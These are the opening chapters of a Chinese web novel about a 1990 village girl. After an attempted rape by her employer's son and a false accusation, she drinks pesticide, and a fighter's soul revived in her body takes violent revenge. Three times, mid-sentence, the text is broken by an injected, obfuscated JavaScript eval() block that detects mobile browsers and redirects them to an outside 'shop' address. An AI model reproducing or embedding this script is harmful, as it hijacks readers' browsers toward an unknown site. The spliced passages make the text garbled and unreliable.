《九零悍女发家致富日常》 1. 第 1 章 时间是一九九零年,四月的一个傍晚,一辆拖拉机风风火火开进县医院,停在门诊楼前。车还没停稳,上面的村民就乱纷纷往下跳。大家合力从车上挪下来一个少女,一个男人背着冲进门诊楼。喧闹声顿时引起在场人员的好奇。 “快!医生在哪儿?” “来救人哪!出人命了!” 村民们七嘴八舌地在大厅里喊,闻声跑出来的医生却是见惯了这个架势,上前问:“什么情况?” “喝药了!我女儿喝农药了!”人群中一个中年妇女带着哭腔急促地答。 “赶紧去手术室,马上准备洗胃,”医生带他们朝手术室走,又冷静吩咐跟出来的护士准备手术事项,完了问:“什么时候喝的药?药瓶子带来了吗?” 同来的几个村民面面相觑,中年妇女慌了,忙说:“瓶子……瓶子没带,天爷,我也不晓得要带药瓶子呀!” 医生也急了,“那她喝的是啥药知道吗?” “百草枯!是我刚买的百草枯!”女人忙答。 门诊大厅里,此时已经聚集了一群病人及家属。有人听了便啧舌,“百草枯!只怕洗了胃也救不回来!” “那个药毒性大得很!” “哎,年纪轻轻的小姑娘,啥事想不开要喝农药啊!” 人群议论纷纷,伴随着叹息和好奇。在女孩被推进急诊室后,又有人朝同来的村民打听他情况,顺带着探听女孩为何喝农药寻死。一刻钟后,抢救开始了,打听消息的人们才渐渐散去。 “咋样咋样?”输液室里挂水的几个人急切地问,“救活了没有?” “早着呢!还在洗胃!”那几人摇头。 “是哪里的人啊?为啥喝农药了?” “说是城西红英村的村民。小姑娘今年才十七岁。”其中一人介绍:“本来在城里给人当小保姆,不晓得为什么,今天突然被人送回来,想不开就喝药了。” 另一个嘴快,道:“说是送回来,我看哪,八成是被主人家赶回来的。” 周围顿时啧啧声一片,输液室的男女们纷纷展开想象力,构思出小保姆和主家的爱恨情仇。又有一人叹息道:“可惜了!长得挺好看的一个姑娘,有鼻子有眼的!” 正在挂水的一个中年妇女便冷笑了一声,说:“八成就是因为长得好看了,才起了些花花心思。我们家邻居大爷去年偏瘫了,儿女给他请了个小保姆,本来是想照顾老爷子,妈也!照顾到床上去了!也不怕丑!” “如今的农村人也学坏了,不像早先那么质朴!”另一个老头也摇头晃脑道:“我们那儿也有人请保姆,根本不敢让她去买菜。一毛钱的豆芽,买回来报一毛五的账!可像话!” 输液室这边议论纷纷,各自叹息猜测。急救室外却是一片静默,村民们或站或蹲,暗自也对喻秀水喝农药的原因猜疑不止。 一个多钟头以前,他们听到村南头的喻庆山家传来哭喊声,赶过去时发现喻家大女儿秀水已经喝了农药。她妈刘瑞英哭天喊地,偏偏喻庆山外出干活了,便有人跑去喊了喻家二伯喻庆海,大伙儿忙忙地开着拖拉机把人送医院来了。 整个过程混乱不堪。刚开始药效没发作,喻秀水还不肯去医院,哭着喊着说让她去死。几个村民不由分说,把她强拖上车,又抠着喉咙让她吐。路上喻秀水就不行了,先是哭喊肚子疼,后来就昏昏沉沉地喊妈,说他们冤枉了她。 刘瑞英一个字都说不出,只晓得抱着女儿哭。等秀水进了手术室,她在外头又开始抹眼泪。 抢救不知啥时候才有结果,天却眼看着黑下来了。喻庆海便开了口,让大家开着拖拉机先回去。都是农村人,家里都有一堆事,也不能总让人家陪在医院耗着。 村民们便劝慰刘瑞英几句,纷纷离开了。等人走后,刘瑞英木然靠墙坐着,这回哇地一声哭出声来,“秀水啊,我的秀水啊!你怎么这么糊涂啊……” 话音刚落,就见喻庆山从门诊大厅那边跑过来了,气都没喘均就问:“咋样了?孩子咋样了?” 刘瑞英看见丈夫来了,又嚎啕起来。喻庆海忙答:“还在里头洗胃,可带了钱来?医院催着交款咧。” 大伙儿来得匆忙,身上都没带钱。护士怕他们偷跑,已经催过两遍了。喻庆山忙从怀里掏出钱,交给喻庆海去缴费,又对老婆吼:“你别哭啊!到底是咋回事?” 他一回家就听到这个噩耗,火急火燎地带着钱,骑自行车赶来了。刘瑞英看左近无人,这才把下午发生的事儿小声跟丈夫说了。 原来今天下午,她正在家拌猪食,她弟刘文强突然骑车把秀水带回来了。到家后他把刘瑞英拉进房,悄悄儿告诉她,秀水的主人家,李局长老婆把人给退回来了。 从去年开始,喻秀水进城给粮食局的李副局长一家当小保姆。保姆这活儿,城里人打心眼里瞧不起,却也是刘瑞英托了弟弟才找到的。 刘文强在县粮食局下属的乡镇粮站上班,是刘家唯一吃商品粮的人,也是大家眼中有本事的人。去年喻秀水初中毕业,没考上高中,刘瑞英专门回了趟娘家,托刘文强给外甥女留意,好在城里找个活计。没过多久,刘文强就有回音了,说为孩子谋到了一桩好差事。——县粮食局的李副局长新添了一个孙子,缺个保姆,他看秀水勤快懂事,正好让她去李家当三年保姆。讲定了不发工资,李家一年给四套衣裳。但等三年以后,李家孙子大了,李局长便负责给秀水在城里找个工作。 在八九十年代,这种事儿不算稀奇。红英村另一个女孩就是这样进的城。听说她给城里姑父家干了几年活儿,姑父一家便给她买了商品粮户口,如今在一家厂里当打字员,天天坐办公室,风吹不着雨淋不着,村民们谁不羡慕?因此刘瑞英一听便满口应下,给秀水收拾了几件衣裳,让刘文强骑着自行车,连人带行李驮到李家去了。 秀水这一去,好几个月只回来过一回。人长白净了,穿的衣服半新不旧,看着倒也整齐。晚上母女俩聊天,秀水悄悄跟母亲抱怨,说家务活儿不重,但李局长的爱人王仁芳却是个有名的挑剔人,她在饭桌上多挟一筷子菜都要阴阳怪气半天。刘瑞英听了虽心疼,却也劝女儿,好歹忍耐这三年,等以后进了城就好了。 如今孩子在他家干了大半年,竟然就这么送回来,刘瑞英不由得就生了气。可刘文强接下来的话却让她万分震惊。刘文强悄悄告诉她,秀水在城里学坏了,竟然勾引李家小儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722563|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。他还绘声绘色学了王仁芳的原话:“你这外甥女太不安份了。我们小勇还是个高中生,以后还要读大学的,她还想跟我儿子处朋友?我们家可丢不起这个脸,趁早让她回去吧!”末了又掏出一叠钞票,说要按每月十元钱补秀水的工资,一共给了八十块钱。 刘瑞英乍听之下,急怒攻心,也没接钱,转头就去院子里朝秀水身上拍了两巴掌,问她到底怎么回事,为什么要勾引别人家儿子。秀水只是哭,梗着脖子说自己并没有做那种丑事。母女俩吵了几句,刘文强急着要走,等刘瑞英送他出门,回屋才发现,秀水已经是喝了农药。 喻庆山听了前因后果,半晌无语,良久才说:“秀水那么老实的孩子,怎么会做这样的事?我怎么有点不信呢……” “我本来也不信,看文强说得有鼻子有眼的,我一时气急了才骂了她几句,”刘瑞英后悔得扇了自己一耳光,“哪晓得她气性这么大,转头就喝了药……” 正说着,喻庆山远远看见自家二哥回来了,忙朝老婆使个眼色。刘瑞英也赶紧住了口。不管是真是假,勾引人这种事可不能叫村里人知道,传出去坏了姑娘名声,以后秀水还怎么嫁人? 就在这时,抢救室的门突然开了。三人忙围了过去,就听医生疲惫地说:“给孩子准备后事吧。” 两个男人怔立当场,刘瑞英却是一口气没上来,软瘫在地,半晌哭嚎道:“儿啊,我的儿啊,你好狠的心哪……” 外面一阵忙乱,抢救室里却也突然起了骚动,有护士急促地喊:“张医生快来!又有心跳了!” 张医生来不及说话,又一头冲进手术室内。屋外的三个人眼泪未干,都扒着门缝往里瞅,影影绰绰地就见一群人围在手术台前忙碌,旁边不知什么机器闪着红光,哔哔地响。提心吊胆也不知过了多久,门才又被打开了。 张医生先出来,说:“准备送特护病房,过了危险期再看情况。” 这不是什么好消息,但总算让人看到了希望。紧接着,喻秀水被推了出来。刘瑞英和喻庆山看到女儿脸色青白昏迷不醒,身上插着乱七八糟的管子,心里就像刀子搅。几人亦步亦趋,跟着去了特护病房,却被拦在了门外。 九十年代的县医院,还没有设立ICU。危重病人都住特护病房,有呼吸机,有护士守着,不需要家属陪床。等秀水挪进去了,喻庆山便让哥哥骑车回家,顺便跟小女儿秀竹送个信。他和老婆则坐在特护病房外的地上,商量着要去李家问问到底怎么回事。 自家孩子打小就老实听话,怎么会不声不响在外头处朋友?又到底发生了什么事,才让东家给赶了回来?这里头肯定有蹊跷,只是不知要朝谁打听。刘瑞英说一阵哭一阵,一时恨自己为什么犯糊涂送女儿去当保姆;一时又担心以后风言风语的,秀水在村里不好做人。直到夜深,才和衣躺在走廊的地上,胡乱打了个盹儿。 此时,一墙之隔的特护病房里,喻秀水睁开了眼。她先是被墙角蹲着的一个年轻女孩吓了一跳。那女孩影影绰绰的,一看就不像人,倒是像个鬼魂。 再看看身周,是跟时代格格不入的破旧病房、古老仪器,喻秀水不由震惊,这是哪儿?我到底到了什么鬼地方? 2. 第 2 章 喻秀水在特护病房住了三天,在清醒和昏迷中反复轮回。身周破旧的病房、古老的仪器和挂钟上显示的日期,都在提醒她一件事:她穿越了,穿到了一九九零年,一个和自己同名的女孩身上。 清醒的时候,她硬着头皮和墙角的鬼魂对话。她虽然天不怕地不怕,可还是有点怕鬼。 “你咋了姑娘?我这是上了你的身?” “好死不如赖活着,年纪轻轻的你有啥想不开的?” “你看我,病成那样,有一口气都还想活着。你还是回来吧……” 女鬼蹲坐在墙角,把头埋在膝盖上,一动也不动。 清醒的时间总是很短暂,喻秀水浑身难受,身体像在火上烤,离成熟起锅只差一撮孜然。昏昏沉沉中,她的人生像电影片段一样在脑中闪回。——从小被父母遗弃,后来被人收养。四岁时养父母有了自己的孩子,从此对她不闻不问。幸好她遇到了师父和师娘,在师父的武校里,她渐渐展露出一个格斗运动员的天赋。后来又是师父送她去中专学校,学散打、学拳击,被经纪人发现,变成一名职业综合格斗运动员,在UFC大赛中搏得金腰带,从此功成名就。 直到成名后,亲生父母和养父母才都贴上来嘘寒问暖,从她这里骗钱骗财。上辈子她贪恋亲情,也很大方地给过他们钱财。只可惜,30多岁她身体每况愈下,后来才发现自己得了胃癌,治病花去了所有的积蓄。这时所谓的亲人再也没露过面了,只有师父和师娘来看过她。 她死时很不甘心。她来人间走了一遭,还没好好生活过,怎么就要走了? 谁知道再睁开眼,就穿到了一九九零年,而被自己占据了身体的这个年轻女孩,魂魄还蹲在旁边没有走远。 秀水虚弱地看着天花板,缓缓说:“就算要走,也得有仇报仇有怨报怨。不然你甘心么?” 墙角的女孩动了动,似乎被她这句话打动了心思。床上的喻秀水却又闭上眼睛昏睡过去。 半梦半醒间,她的脑海中忽然多出了很多记忆。她看到李局长的夫人王仁芳教她用燃气灶,不耐烦地说她笨;看到她炒菜做饭、洗衣服哄孩子,忙得像个陀螺;看到她干完一天的活儿,疲惫地去楼下睡觉…… 粮食局宿舍楼前有一排低矮的红砖房,是专门给各家各户放杂物的。她睡觉的地方就在李家的杂物房。这个县城的热闹不属于她,她的私人空间只是杂物间的一张小床。只有每晚躺在床上时,她才是轻松自在的。然而就连这点可贵的放松,也被人夺走了。某天夜里,李家的小儿子李小勇放自习回来,敲开了她的房门,一米七几的大小子强抱着她往床上拖。幸好她也有一把力气,不仅挣脱开来,还打了他两拳。那狗东西鼻子流着血,恨恨地走了。 在他走后,她独自在黑暗中坐了一夜,又羞又气又害怕。她觉得自己脏了,不再清白。而世界对女孩子的清白是极为苛刻的,被侮辱的女性会被指点、被非议,哪怕她们一点错也没有,甚至只是受害者。 天亮的时候,她第一次没有出门做早饭,心里盘算着怎么辞工回家。但很快,她就听到了王仁芳的谩骂声。王仁芳气冲冲过来敲门,让她把行李收拾好,早点滚回去,他们家小儿子岂是她高攀得起的…… 那声音高亢又刺耳,整个宿舍区的人都能听见。她似乎看到人们嘲笑的嘴脸和指点的手指,十七岁的女孩还没做好准备迎接这些侮辱。而他的舅舅竟然一句话都没为她辩驳,就把她送回家了。她的母亲惊怒中打了两巴掌,成了压死骆驼的最后一根稻草。 哪怕在睡梦中,喻秀水都能感受到女孩的恐惧和绝望。她都快气炸了。你倒是骂回去啊,你倒是打回去啊,你喝药干什么? 作为一名职业综合格斗运动员,喻秀水在生活中向来不崇尚暴力,因为她打拳是要收钱的。但此刻,她恨不得冲出去,劈头盖脸打那些狗东西一顿。 三天后,喻秀水真正清醒过来,墙角的魂魄已经不知去向。 她的情况已经稳定了,终于出了特护病房,进入普通病房。对此,医生的解释是她命大,人又年轻,终于扛了过来。刘瑞英和喻庆山悲喜交加。 特护病房收费可不便宜,三天时间就花了家里一年的收入。这期间,刘瑞英守在医院,喻庆山又回了趟家,拿存折取了钱交医药费。而刘文强那边得了信后,也赶过来,和刘瑞英在医院病房外嘀咕了半天。 刘瑞英这几天越想越不对劲,想让刘文强带她去李家问个究竟。闺女不明不白就被人辞退了,还说了那些伤人的话,害孩子服毒自杀,到现在还躺在医院里。无论如何都要去李家讨个说法。刘文强听了,却只盘算着自己的小心思。 他在粮站工作了这么些年,一心想搞个站长当当。这些年没少巴结局里领导。刚好去年听说李局长家缺保姆,他赶忙把自家外甥女推荐过去。又可以解领导之忧,又帮了自己大姐一家子。本是件大好事,万万没想到现在闹成这样。 要是姐姐和姐夫跑到李家去闹,别说提拨站长了,以后李局长不给他穿小鞋就算宽宏大量。 因此刘文强百般劝说刘瑞英,先等秀水清醒了再说。把事情问明白了一切都好说。要是秀水真做了什么丑事,那就悄悄地回家算了,免得传出去坏了孩子名声;要是真冤枉了秀水,那他这个做舅舅的也不会袖手旁观,该让李家赔偿的,他到时出面去谈。 他一番慷慨陈辞,这才把刘瑞英劝住。等喻秀水转到了普通病房,正好秀水的姨妈刘兰英听到消息,提了麦乳精和一提兜水果到医院来。这间病房暂时只住了秀水一人,等护士出去了,刘瑞英便让喻庆山去门外,她和刘兰英坐到床前,悄声问:“秀水,这里没外人,你实话告诉我们,你在李家到底怎么了?” 秀水看看两人,虚弱地说:“他想强*奸我。” “什么?”床前的两个女人震惊得说不出话。好一会儿刘瑞英才道:“真的?李家的那个小子?他……他竟干出这种事?” “畜生不如的东西!”刘兰英也骂,“他家里就没人管么?你是去他家做保姆,又不是丫环。这都新社会了……” 秀水便把那晚的事情详细讲了。记忆里她刚上床没多久,李小勇便来敲门,说他的足球放在里面,明天上课要用。秀水只好重新穿衣服开门,让他进来找。李小勇装模作样找了一阵,便扑上来抱秀水,嘴里还不干不净说些恶心人的话,什么很喜欢她、等高中毕业了就娶她之类的,直到被打了两巴掌,他才走了。 刘瑞英听了,眼泪哗哗地流,“太欺负人了!我找你舅去!咱是去干活的,怎么能这么欺负我孩子?我饶不过他们!” 刘瑞英扭头就去找喻庆山了。刘兰英留在病房,红着眼安慰秀水:“就算他们冤枉你,自然有我们替你讨回公道。傻孩子,你可不能再做傻事。万一你有个好歹,叫你爹妈以后怎么活?” 刘兰英帮着守了秀水半天,刘瑞英两口子却是一去不复返。一直到晚上,两人才回来,眼眶都红红的。估计是公道没讨回来,反倒被人骂了一通。 毕竟那晚的事情发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722564|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生在杂物房,除了当事人,没有第三个人知道。王仁芳咬死了是秀水勾引自己儿子,说出的话像是淬了毒,“她来第一天我就晓得不是个安份的,仗着自己长得有两分颜色,天天对着我儿子笑,我们院子里谁不晓得?就算她肚里有了货,我也不会要她……” 喻庆山不会跟人吵架,气得直哆嗦。刘瑞英则骂她放狗屁,她女儿规规矩矩清清白白,又懂事又勤快,村里人谁不晓得?不是李家儿子在外敲门,她怎么会大晚上开门……两边对骂的声音大了,左邻右舍都来劝架,却多是拉偏架的。毕竟都是李家的老熟人,没有为了两个农村人跟领导反目的道理。 刘文强得了消息,也赶紧跑过来,把姐姐姐夫强拉出来,说让他来和李家人谈条件谈赔偿。刘瑞英和喻庆山本来气得不想理他,转头一想,李家是城里人,刚才倚势压人,要是让保安防着他们,他们连门都进不去,还是得找个中间人。 刘瑞英怄了一肚子气,回来后却把眼泪都擦干了,换了一副神情才进病房,还安慰她“就算他家再厉害,也不能平白无故坏人名声。”“你等着,我不会放过他们,必要替你出一口气……” 等刘兰英走后,刘瑞英喂秀水喝了两口米汤,便让喻庆山也回去。家里农活多,马上要耕田插秧,现在各家各户都派了人,去渠道口守水,免得别的村把水截留了去。她家不派人去守渠也是不行的。 秀水没作声,喝完米汤就在床上装睡,没想到还真睡着了。等她醒来,天早就黑了。刘瑞英和衣躺在旁边病床上,那张床没有铺盖,只有梆硬的一张床板。但有块板子躺,总归比坐在凳子上熬一夜要强多了。 秀水悄无声息地揭被起床,凑过去听了听。连着好几天刘瑞英都没怎么合过眼,这会儿显然睡得很熟。秀水想了想,换好衣服出了门,轻手轻脚穿过光线昏暗的病房走廊和院子,来到了街上。 眼前的县城既熟悉又陌生。九零年这里还没有路灯,到晚上到处黑成一片,只有路边房屋和店铺里偶尔透出来一片灯光。秀水活动了一下腿脚,这具身体虽然虚弱,但晚上那几口米汤提供了少许热量,打个把人不成问题。 她顺着县医院前面的马路走了一会儿,轻车熟路拐进一条小巷,十几分钟后就来到了县粮食局宿舍大院的附近。院子门外是条马路,旁边有一片小树林,周边没有住户,是个蹲守的好地方。秀水握着半路上捡到的一条长木棒,蹲在树林的阴影里,气定神闲地等着。 “悠悠岁月,欲说当年好困惑……”远处门卫室里传来了电视剧的片尾曲,正是第二集电视剧结束的时候,也到了高中放晚自习的时间。她等的人快要来了。 陆续有两拨人骑着自行车过去了,秀水没动。过了一会儿,又有一道黑影骑着车,出现在道路尽头。即使看不清脸,凭那吊而郎当的样子,秀水也能认出那是谁。 她憋着一团火,悄无声息挪到路边。等飞驰的自行车经过面前时,才把手中的长棍朝前一递。 木棍精准卡进自行车的后轮当中,自行车猛地朝前一翻,车上的人重重摔倒在地上。 喻秀水这才上前,一脚踩中地上那人的后背心,朝他头上打了一闷棍。看到人被打昏,她又扬手朝他左腿抽了几棍,每一棍都又重又急,落在同一个位置。很快,她就听到了骨骼断裂的声音。 然后她像拖死狗一样,把人拖到昏暗的树林里,自行车也扔了进去。干完这一切,喻秀水累得直喘粗气,她顺着树林走了一段距离,才穿过小巷,朝县医院的方向走去。 3. 第 3 章 深夜,县医院的急诊室再次传来喧哗,伴随着哭天抢地的声音。 哭骂声特别大,把后面住院部的人都吵醒了。有家属不辞劳苦地跑去看热闹,回来便传开了,说县粮食局某局长的儿子不晓得为什么被人打了。听说是脑震荡,膝盖包也被打得粉碎,治好了只怕也会落下残疾。 秀水她们住在走廊尽头的病房,议论声虽大,却没把睡熟的母女俩惊醒。但第二天早上,刘瑞英去水房洗衣服时,还是很快就从别人口中知道了这个消息。 “那个流氓胚子遭人打了!活该!坏事做多了,这不是报应来了?”刘瑞英一回病房,就兴冲冲地把这个好消息告诉了秀水。 “真的?”秀水笑了,“他也来住医院了?” “可不是?听说就住楼下,”刘瑞英见女儿露出笑容,很是欣慰。她拧了条热毛巾,递给秀水擦脸,又咬牙切齿道:“这种坏胚,将来就算不被打死,也是吃牢饭的命!” “那咱们等会儿看看去!顺便骂他几句!”秀水擦着脸,来了兴致。 “你好好躺着!”刘瑞英怕她见到李家人又受刺激,忙道:“要骂也是我去骂。那种臭狗屎,你给我离得远远的才好!” 正说着,就有人上门了。粮食局所在辖区的派出所,来了一个自称姓张的警察,到病房请她们协助调查,还问她们昨天晚上在干嘛。刘瑞英忙老老实实答:“他被人打,可不关我们的事。我姑娘住着医院呢,我们都在病房睡觉!” “你怎么晓得他被打了?”警察紧盯着她们问。 “医院的人谁不知道?昨晚喊得半个怀安县城都听到了,今天还都在议论。” “那你们晓得是谁打的么?”老张问。 “我们可不晓得,”刘瑞英摇头道:“自家的事还操心不过来呢,还管他家的事?” 张警官昨晚接到报案,在现场和医院奔波了半宿。王仁芳断定是喻庆山报复他们,所以他大清早就开摩托去了一趟红英村。到了村里,正碰上喻庆山和村民们从渠道口回来。昨晚村里放水,大伙儿两两作伴,都带着铺盖卷睡在渠道边的野地里,喻庆山根本就没有作案的机会。 而且以老张多年的办案经验,聊两句就知道那是个遵纪守法的老实人。除非朝死里逼他,否则他连跟人吵架都不会。这会儿再到医院看到那母女俩,老张越发觉得王仁芳的猜测很荒唐。 一个乡下妇女,一个病人,能干出什么穷凶恶极的事情来?于是他草草询问了几句便要走。 喻秀水却把他叫住了,“警察同志,我也要报警。” “啥?”老张和刘瑞英都怔住了。 “五天前李小勇要……”秀水看了看刘瑞英,修改了一下措辞,“要强*暴我。就是你们正在调查的这个李小勇。” “什么?”老张震惊了,扭头看看刘瑞英,也是同样震惊。他犹豫着掏出笔和本子,“之前为什么没报警?你详细说说。” “之前想死了算了,现在想想,不能便宜坏人。”秀水说。 刘瑞英一听这话,眼泪就朝外漫。在秀水讲述那晚经历之后,她又抹着眼泪把女儿怎么被送回来、怎么喝农药的事说了,老张完整听下来,总算明白王仁芳为什么一口咬定凶手是喻庆山了。 要不是这家人老实,被欺负成那样,确实很有可能会报复社会。 他有点同情这年轻女孩,但该说的话也要说,“如果你说的是事实,这顶多算是猥亵。” 刘瑞英不懂什么是猥亵,可也看出来警察不想管这事,忙气愤地喊:“他那就是耍流氓!” 现在是九零年代,流氓罪还没废除。秀水忙说:“就是!不能判他个流氓罪吗?” “这个事情光你一个人说了可不算,我还得再调查。”老张说着便要走。秀水又叫住他,道:“张警官,我这算是正式报警了,等我出院的时候,您必须得给我个明确的说法。” 老张听了,也不表态,只点点头便走了。等他出了门,刘瑞英忙擦干眼泪,要扶秀水躺下,说:“这事你没做错,只管给我挺起胸膛做人。以前是妈糊涂,不该朝你动手。唉,我也是听你舅那么一说,一时气懵了……” 秀水微微一怔,对刘瑞英的认知有所改观。这个当妈的没什么见识,想不到在大是大非上分得倒很清楚。 她并没有躺下,反而让刘瑞英给她拿梳子,“一会儿估计还得吵一架。” “跟谁吵?”刘瑞英忙问。 “王仁芳呗,”秀水冷笑,“警察肯定会去楼下调查啊。以王仁芳那性子,过一会儿不得上来搅事生非啊?” 刘瑞英听了,新仇旧恨涌上心头,恨声道:“你等着,她上来我骂死她!” 秀水心想,就刘瑞英这老实样儿,能吵得过谁啊?不过,这不是有她在吗? 上辈子她可不是个善茬,八角笼中来来去去那么多格斗运动员,独她以拳头凶狠、反应敏捷而赫赫有名。恶人自有恶人磨,王仁芳碰上她算她倒霉。 但她还是鼓励刘瑞英,“行,你来骂她,我在旁边给你撑腰。” 果然,没多久王仁芳就上楼了,一进门就气急败坏地喊,“你这贱人!胡说八道什么?” 刘瑞英立刻还击:“你喊什么?你才贱!你才胡说!” “我儿子什么条件的姑娘找不着?他看得上你一个乡下丫头?”王仁芳说:“不是你勾引他,他会去找你?” “你胡说八道!”刘瑞英很快就气红了眼,“我姑娘清清白白,怎么会勾引你儿子?” 秀水叹气,心想原主她妈果然不行,吵架怎么能跟着别人的节奏走? 她忙打断刘瑞英,说:“对,我是乡下丫头,你儿子是城里公子哥!那么了不起怎么会被人打成死狗?还敢耍流氓,他耍得明白吗?到时候去坐牢,你们全家多光荣!” 王仁芳被戳中痛脚,气得要扑上来撕她的嘴。刘瑞英吵架不行,倒是有一把子好力气,忙把她拦着,朝后推了个踉跄,还跟在秀水后头说:“对啊,你全家多光荣!” “你说坐牢就坐牢?公安局你家开的?”王仁芳回骂:“我儿子才十六岁,他晓得什么?就算他拉了你一下,有什么了不起?你难道是什么金贵人?” “我一个姑娘家当然金贵!”秀水反唇相讥:“你不金贵,你天天去求着男人摸你抱你啊,一家子烂人,真恶心!” “对!真恶心!”刘瑞英也说。 “你放屁!不就想讹我们吗?随你怎么说,我一个钱也没有!”王仁芳居高临下看着她,冷笑道:“你报了警就以为我会怕你?呸!有什么烂招数你尽管使!” “那我就一直告下去!”秀水道:“你不要脸,你儿子和丈夫也不要脸吗?我写信到你儿子学校去,写信到你丈夫和大儿子单位上,我要让全怀安县的人都知道,你们家是什么玩意儿!” “对!让大家都来评评理!”刘瑞英听得惊诧极了,却也没忘跟在后面喊。 “你要敢毁我儿子前程,我跟你拼命!”王仁芳也高声喊。 双方吵作一团,顿时吸引了许多病人和家属。王仁芳见围观的人多了,越发撒起泼来,“大家快来看啦,这家人真不要脸!在我家当保姆,勾引我儿子,还想讹我们,也不撒泡尿照照自己……” 眼看围观人群眼神闪烁、交头接耳,刘瑞英急得恨不得打王仁芳的嘴。秀水却是不慌不忙地道:“我在你家当保姆,知道的可多着呢。我还晓得上梁不正下梁歪,你儿子耍流氓,都是跟他爸学的!你还不晓得吧,你丈夫在外头跟人乱搞,全院子的人都晓得,都在背后议论你,可就是没人告诉你!你说你多可怜!多可悲!” 王仁芳惊呆了,跟疯了似的朝里扑。刘瑞英忙拦住她,两个女人眼看要打在一起。幸好护士和医生都听到声音过来了,一边大喊着拉扯开她俩,一边驱赶围观人群。王仁芳这才骂骂咧咧地下楼去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722565|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 刘瑞英自觉这一回她们略占上风,心头郁闷也散去了不少。等人散了,她便悄悄问秀水,“真的假的?王仁芳丈夫那事你咋知道的……” 这当然是原身的记忆。保姆的活动空间,几乎都在宿舍大院里。那里流传着各种婆婆妈妈的小道消息,其中就有关于李副局长的传闻。据说他跟某个女职工不清不楚,保持不正当男女关系好几年了。虽然不知是真是假,但是吵架嘛,讲究的就是专挑对方痛处戳,以气死对方为第一原则。 “管它真的假的呢,有用就行。”秀水说:“反正王仁芳回去了,两口子铁定要吵架。我就乐意看他们家鸡飞狗跳。” 刘瑞英想到那情形,脸上也露出久违的笑意。“累不累?你歇会儿,我去给你买碗稀饭去。” 趁着护士来给秀水打针,刘瑞英到外头餐馆里去买粥。路上想着刚才吵架的情形,觉得又欣慰又怪异。欣慰的是,老大竟也会跟人吵架了;怪异的是,这性情变得也太大了。 可能因为是孩子死过一次了吧,也幸好抢救过来了,不然刘瑞英简直不敢想,以后的日子要怎么过。回去后她要去庙里上柱香,感谢菩萨保佑女儿大难不死。 接下来的一整天都很平静,王仁芳没再上来闹事。到了晚上,刘文强提着一网兜水果来了。 “姐,秀水好点了没有?”刘文强把水果放到桌头柜上,关切地问。 “比先前好些了。”刘瑞英脸色不大好。她也不蠢,知道弟弟八成是给李家当说客来了。 刘文强这回确实是被李局长委派来的。原来上午王仁芳在楼上吵完架,果然丢下住院的小儿子回了家,揪着丈夫大吵了一架,问他在外头跟哪个狐狸精好上了,弄得全院子的人都在笑话她。全家人都焦头烂额,没满周岁的孩子被吓得哇哇哭。李局长烦不胜烦,只好让刘文强过来问问,这边是啥想法。 “大姐,为秀水这事,我到李家去了好几趟!”刘文强先跟姐姐表了半天功,最后才说:“李局长这人还是很仁义的,他托我来问问你们,想不想把秀水弄到棉纺厂去上班。” 刘瑞英一下子就心动了。她妹妹兰英就在棉纺厂工作,以前效益红火的时候,厂里隔三岔五地发些毛巾脸盆床单,看着可羡慕人!虽说现在不比从前,一个月也能到手二百块钱工资,对农村人来说,有笔旱涝保收的收入已经很难得了。 谁知秀水一口就回绝了,“我不去!我就要跟他们干到底!” “你这孩子!怎么这么犟?”刘文强恨铁不成钢,“你以为你能告倒他们?开啥玩笑呢!就说那晚的事,你说李小勇欺负你,你有啥证据?再说了,大晚上的你就不该开门让他进去!” 刘瑞英一听就恼了,“怎么能这么说?哦,这还怪上我家孩子了?他是东家儿子,他要进去拿东西,我秀水难道不该开门?” 刘文强忙安抚她,“我不是这意思……” “那你啥意思?”秀水似笑非笑看着他,“怎么的?他们把我害得这么惨,给我找个破工作就算完了?” “啥叫破工作?”刘文强也生气了,“棉纺厂多少人想进还进不去呢。你要不想去,那我可就真不管了!” 他站起身,作势欲走,刘瑞英却又舍不得,忙拉住他,“孩子说两句话你急什么。我问问你,秀水去棉纺厂,是正式工还是临时工?有没有商品粮户口?” “姐,都是自己人,我能没想到这点吗?”刘文强说:“李局长说了,进去干满一年就能转正。就是商品粮户口得你们自己转,要花五千块钱……” 刘瑞英倒吸一口冷气,五千块钱!家里的积蓄加起来还没有这个数呢,那可是她攒着准备盖新房的。 可孩子的工作也要紧,错过这一村,哪里还有这个店? 正在犹豫不决,就见秀水说:“我不去上班。想让我息事宁人?也行,让他们赔偿我医药费、误工费、精神损失费,外加八个月的保姆费。” 4. 第 4 章 喻秀水一开始就盘算得很明白,那晚杂物房发生的事情,除了两个当事人,没有第三个人看见,原身也没受到什么实质侵害。送李小勇坐牢这事不现实。 